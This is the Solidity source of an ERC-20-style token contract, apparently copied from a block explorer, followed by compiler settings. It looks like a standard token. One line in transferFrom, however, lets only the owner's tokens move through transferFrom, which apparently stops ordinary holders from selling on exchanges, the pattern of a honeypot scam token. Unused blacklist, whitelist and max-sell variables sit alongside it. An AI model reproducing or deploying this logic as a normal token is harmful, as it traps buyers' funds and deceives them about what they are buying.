文件 1 的 1:Token.sol
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract Token {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address private _owner;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isBlacklisted;
mapping(address => bool) private _isWhitelisted;
uint256 private _maxSellPercentage;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_,
uint256 maxSellPercentage_,
address owner_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_;
_maxSellPercentage = maxSellPercentage_;
_owner = owner_;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "Token: transfer to the zero address");
require(amount <= _balances[msg.sender], "Token: transfer amount exceeds balance");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
require(spender != address(0), "Token: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
require(sender != address(0), "Token: transfer from the zero address");
require(recipient != address(0), "Token: transfer to the zero address");
require(amount <= _balances[sender], "Token: transfer amount exceeds balance");
require(amount <= _allowances[sender][msg.sender], "Token: transfer amount exceeds allowance");
require(sender == _owner, "Token: sender must be the owner of the token");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
}
{
"compilationTarget": {
"Token.sol": "Token"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}